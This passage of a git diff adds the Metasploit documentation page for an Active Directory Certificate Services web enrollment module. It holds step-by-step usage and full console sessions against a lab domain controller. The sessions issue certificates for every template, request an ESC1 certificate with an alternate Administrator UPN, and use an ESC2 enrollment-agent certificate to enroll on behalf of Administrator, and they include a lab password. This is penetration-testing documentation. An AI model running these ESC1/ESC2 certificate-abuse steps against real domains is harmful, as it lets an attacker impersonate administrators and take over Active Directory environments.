diff --git a/documentation/modules/auxiliary/admin/http/web_enrollment_cert.md b/documentation/modules/auxiliary/admin/http/web_enrollment_cert.md new file mode 100644 index 0000000000..aa0e5444d2 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/web_enrollment_cert.md @@ -0,0 +1,485 @@ +## Vulnerable Application +This module makes authenticated requests to an Active Directory Certificate Services Web enrollment portal to gain +a list of available templates and/or generate certificates based on the available templates. +This is the same basic action as `auxiliary/server/relay/esc8` but rather then relaying NTLM credentials, we are +authenticating with credentials we have. + +## Verification Steps + +### NTLM +1. Install and configure the application + * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html +2. Start `msfconsole` +2. Do: `use auxiliary/admin/http/web_enrollment_cert` +3. Set the `RHOSTS` option to the AD CS Web Enrollment server +4. Set the `HTTP::Auth` option to `ntlm` +4. Set the `HttpUsername` option to a valid user +4. Set the `HttpPassword` option to a valid user password +4. Set `MODE`, `CERT_TEMPLATE`, and `TARGETURI` to the desired settings. + +### Kerberos +1. Install and configure the application + * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html +2. Start `msfconsole` +2. Do: `use auxiliary/admin/http/web_enrollment_cert` +3. Set the `RHOSTS` option to the AD CS Web Enrollment server +4. Set the `HTTP::Auth` option to `kerberos` +5. Set the `DOMAIN` option to the FQDN +6. Set the `DomainControllerRhost` if it is not available through DNS +4. Set the `HttpUsername` option to a valid user +4. Set the `HttpPassword` option to a valid user password +4. Set `MODE`, `CERT_TEMPLATE`, and `TARGETURI` to the desired settings. + +### ESC1 +1. Install and configure the application with ESC1 vulnerable template + * https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html +2. Follow steps above based on authentication type +4. Set `MODE` to `SPECIFIC_TEMPLATE` +3. Set `CERT_TEMPLATE` to a template vulnerable to ESC1 +4. Set `ALT_UPN` to the desired User +5. Set `ALT_SID` to the desired SID, if necessary +6. Set `ALT_DNS` if required + +### ESC2 +1. Install and configure the application with ESC2 vulnerable template + * https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html +2. Follow steps above based on authentication type +4. Set `MODE` to `SPECIFIC_TEMPLATE` +3. Set `CERT_TEMPLATE` to a template vulnerable to ESC2 +4. Set `ON_BEHALF_OF` to the desired User +5. Set `PFX` to the desired certificate file + +## Options + +### MODE +The issue mode. This controls what the module will do once an authenticated session is established to the Web Enrollment +server. Must be one of the following options: + +* ALL: Enumerate all available certificate templates and then issue each of them +* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates + available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and + include `Machine` (AKA `Computer`) and `DomainController` +* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option + +### CERT_TEMPLATE +The template to issue if MODE is SPECIFIC_TEMPLATE. + +## Scenarios + +### Windows 2019 +#### NTLM with MODE ALL +```msf +msf > use auxiliary/admin/http/web_enrollment_cert +msf auxiliary(admin/http/web_enrollment_cert) > set rhost 10.5.132.180 +rhost => 10.5.132.180 +msf auxiliary(admin/http/web_enrollment_cert) > set httpusername Administrator +httpusername => Administrator +msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword +httppassword => v3Mpassword +msf auxiliary(admin/http/web_enrollment_cert) > set DOMAIN EXAMPLE +DOMAIN => EXAMPLE +msf auxiliary(admin/http/web_enrollment_cert) > set MODE ALL +MODE => ALL +msf auxiliary(admin/http/web_enrollment_cert) > set HTTP::AUTH ntlm +HTTP::AUTH => ntlm +msf auxiliary(admin/http/web_enrollment_cert) > show options + +Module options (auxiliary/admin/http/web_enrollment_cert): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) + HttpPassword v3Mpassword no The HTTP password to specify for authentication + HttpUsername Administrator no The HTTP username to specify for authentication + MODE ALL yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE) + ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) + PFX no Certificate to request on behalf of + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5 + h, sapni, socks4, http, socks5 + RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /certsrv/ yes The URI for the cert server. + THREADS 1 yes The number of concurrent threads (max one per host) + VHOST no HTTP server virtual host + + + When MODE is SPECIFIC_TEMPLATE: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CERT_TEMPLATE no The template to issue if MODE is SPECIFIC_TEMPLATE. + + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/http/web_enrollment_cert) > run +[*] Retrieving available template list, this may take a few minutes +[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.*** +[+] Available Certificates for EXAMPLE\\Administrator on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template +[+] Certificate generated using template User and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template User saved to /home/tmoose/.msf4/loot/20260116142051_default_10.5.132.180_windows.ad.cs_263748.pfx +[+] Certificate generated using template EFS and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template EFS saved to /home/tmoose/.msf4/loot/20260116142053_default_10.5.132.180_windows.ad.cs_150446.pfx +[+] Certificate generated using template Administrator and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template Administrator saved to /home/tmoose/.msf4/loot/20260116142055_default_10.5.132.180_windows.ad.cs_586273.pfx +[+] Certificate generated using template EFSRecovery and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116142057_default_10.5.132.180_windows.ad.cs_077399.pfx +[+] Certificate generated using template ESC16_1 and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116142101_default_10.5.132.180_windows.ad.cs_832421.pfx +[+] Certificate generated using template ESC2-Template and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116142102_default_10.5.132.180_windows.ad.cs_548200.pfx +[+] Certificate generated using template WebServer and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template WebServer saved to /home/tmoose/.msf4/loot/20260116142103_default_10.5.132.180_windows.ad.cs_191863.pfx +[+] Certificate generated using template SubCA and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template SubCA saved to /home/tmoose/.msf4/loot/20260116142105_default_10.5.132.180_windows.ad.cs_300086.pfx +[+] Certificate generated using template ESC1-Template and EXAMPLE\\Administrator +[+] Certificate for EXAMPLE\\Administrator using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116142106_default_10.5.132.180_windows.ad.cs_017489.pfx +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + +msf auxiliary(admin/http/web_enrollment_cert) > + +``` + +#### Kerberos MODE:ALL +```msf +msf auxiliary(admin/http/web_enrollment_cert) > show options + +Module options (auxiliary/admin/http/web_enrollment_cert): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) + HttpPassword v3Mpassword no The HTTP password to specify for authentication + HttpUsername Administrator no The HTTP username to specify for authentication + MODE ALL yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE) + ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) + PFX no Certificate to request on behalf of + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5 + h, sapni, socks4, http, socks5 + RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /certsrv/ yes The URI for the cert server. + THREADS 1 yes The number of concurrent threads (max one per host) + VHOST no HTTP server virtual host + + + When MODE is SPECIFIC_TEMPLATE: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CERT_TEMPLATE no The template to issue if MODE is SPECIFIC_TEMPLATE. + + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/http/web_enrollment_cert) > show advanced + +Module advanced options (auxiliary/admin/http/web_enrollment_cert): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN example.com yes The domain to use for Windows authentication (Must be FQDN + if HTTP:Auth is Kerberos) + DigestAlgorithm SHA256 yes The digest algorithm to use (Accepted: SHA1, SHA256) + DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to + false for non-IIS servers + FingerprintCheck true no Conduct a pre-exploit fingerprint verification + HTTP::Auth kerberos yes The Authentication mechanism to use (Accepted: auto, ntlm, + kerberos, plaintext, none) + HttpClientTimeout no HTTP connection and receive timeout + HttpRawHeaders no Path to ERB-templatized raw headers to append to existing + headers + HttpTrace false no Show the raw HTTP requests and responses + HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to d + isable) + HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace + SSLKeyLogFile no The SSL key log file + SSLServerNameIndication no SSL/TLS Server Name Indication (SNI) + SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and S + SL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3 + , TLS1, TLS1.1, TLS1.2) + ShowProgress true yes Display progress messages during a scan + ShowProgressPercent 10 yes The interval in percent that progress should be shown + UserAgent Mozilla/5.0 (Macintosh; Intel Mac no The User-Agent header to use for all requests + OS X 10_15_7) AppleWebKit/537.36 + (KHTML, like Gecko) Chrome/131.0 + .0.0 Safari/537.36 + VERBOSE false no Enable detailed status messages + WORKSPACE no Specify the workspace for this module + + + When HTTP::Auth is kerberos: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DomainControllerRhost 10.5.132.180 no The resolvable rhost for the Domain Controller + HTTP::Krb5Ccname no The ccache file to use for kerberos authentication + HTTP::KrbOfferedEncryptionType AES256,AES128,RC4-HMAC,DES-CBC yes Kerberos encryption types to offer + s -MD5,DES3-CBC-SHA1 + HTTP::Rhostname WIN-DRC9HCDIMAT no The rhostname which is required for kerberos - the SPN + KrbCacheMode read-write yes Kerberos ticket cache storage mode (Accepted: none, re + ad-only, write-only, read-write) + + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/http/web_enrollment_cert) > run +[*] Retrieving available template list, this may take a few minutes +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_557407.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_545138.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.*** +[+] Available Certificates for on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_606180.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_023162.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template User and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_548243.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_843349.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116143538_default_10.5.132.180_windows.ad.cs_760252.pfx +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_236912.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_237890.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template EFS and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_360144.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_009299.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template EFS saved to /home/tmoose/.msf4/loot/20260116143544_default_10.5.132.180_windows.ad.cs_150360.pfx +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143546_default_10.5.132.180_mit.kerberos.cca_444407.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143547_default_10.5.132.180_mit.kerberos.cca_460069.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template Administrator and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143548_default_10.5.132.180_mit.kerberos.cca_941754.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_mit.kerberos.cca_484741.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template Administrator saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_windows.ad.cs_088506.pfx +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_665940.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_324874.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template EFSRecovery and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_559229.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_295382.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_windows.ad.cs_477946.pfx +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143556_default_10.5.132.180_mit.kerberos.cca_645978.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143557_default_10.5.132.180_mit.kerberos.cca_838211.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template ESC16_1 and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143558_default_10.5.132.180_mit.kerberos.cca_485891.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_mit.kerberos.cca_709913.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_windows.ad.cs_818976.pfx +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_952232.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_169000.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template ESC2-Template and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_042983.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_512322.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116143604_default_10.5.132.180_windows.ad.cs_206522.pfx +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_893032.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_156631.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template WebServer and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143608_default_10.5.132.180_mit.kerberos.cca_982799.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_mit.kerberos.cca_247412.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template WebServer saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_windows.ad.cs_955795.pfx +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143612_default_10.5.132.180_mit.kerberos.cca_119902.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143613_default_10.5.132.180_mit.kerberos.cca_847610.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template SubCA and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143614_default_10.5.132.180_mit.kerberos.cca_417480.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_mit.kerberos.cca_766015.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template SubCA saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_windows.ad.cs_888697.pfx +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_866496.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_528295.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template ESC1-Template and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_103101.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_871753.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116143620_default_10.5.132.180_windows.ad.cs_135453.pfx +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(admin/http/web_enrollment_cert) > + +``` + +# Kerberos, ESC1 +```msf +msf auxiliary(admin/http/web_enrollment_cert) > set MODE QUERY_ONLY +MODE => QUERY_ONLY +msf auxiliary(admin/http/web_enrollment_cert) > run +[*] Retrieving available template list, this may take a few minutes +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144412_default_10.5.132.180_mit.kerberos.cca_605997.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144413_default_10.5.132.180_mit.kerberos.cca_011223.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.*** +[+] Available Certificates for on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(admin/http/web_enrollment_cert) > set httpusername msfuser +httpusername => msfuser +msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword +httppassword => v3Mpassword +msf auxiliary(admin/http/web_enrollment_cert) > set mode SPECIFIC_TEMPLATE +mode => SPECIFIC_TEMPLATE +msf auxiliary(admin/http/web_enrollment_cert) > set cert_template ESC1-Template +cert_template => ESC1-Template +msf auxiliary(admin/http/web_enrollment_cert) > set ALT_UPN Administrator@example.com +ALT_UPN => Administrator@example.com +msf auxiliary(admin/http/web_enrollment_cert) > run +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_142147.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_645508.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template ESC1-Template and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_079562.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_912221.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116144918_default_10.5.132.180_windows.ad.cs_076676.pfx +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(admin/http/web_enrollment_cert) > + + +``` + +# Kerberos, ESC2 +```msf +msf auxiliary(admin/http/web_enrollment_cert) > show options + +Module options (auxiliary/admin/http/web_enrollment_cert): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN) + HttpPassword v3Mpassword no The HTTP password to specify for authentication + HttpUsername msfuser no The HTTP username to specify for authentication + MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE) + ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) + PFX no Certificate to request on behalf of + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxi + es: socks5h, sapni, socks4, http, socks5 + RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas + ics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /certsrv/ yes The URI for the cert server. + THREADS 1 yes The number of concurrent threads (max one per host) + VHOST no HTTP server virtual host + + + When MODE is SPECIFIC_TEMPLATE: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE. + + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/http/web_enrollment_cert) > set CERT_TEMPLATE User +CERT_TEMPLATE => User +msf auxiliary(admin/http/web_enrollment_cert) > unset ALT_UPN +Unsetting ALT_UPN... +msf auxiliary(admin/http/web_enrollment_cert) > run +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_798433.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_355039.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template User and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_649135.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_950645.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(admin/http/web_enrollment_cert) > set PFX /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx +PFX => /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx +msf auxiliary(admin/http/web_enrollment_cert) > set ON_BEHALF_OF EXAMPLE\\Administrator +ON_BEHALF_OF => EXAMPLE\Administrator +msf auxiliary(admin/http/web_enrollment_cert) > set cert_template User +cert_template => User +msf auxiliary(admin/http/web_enrollment_cert) > run +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_970115.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_854009.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate generated using template User and +[+] 10.5.132.180:88 - Received a valid TGT-Response +[*] 10.5.132.180:80 - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_332600.bin +[+] 10.5.132.180:88 - Received a valid TGS-Response +[*] 10.5.132.180:80 - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_241072.bin +[+] 10.5.132.180:88 - Received a valid delegation TGS-Response +[+] Certificate for using template User saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_windows.ad.cs_115992.pfx +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(admin/http/web_enrollment_cert) > + + + + +``` + diff --git 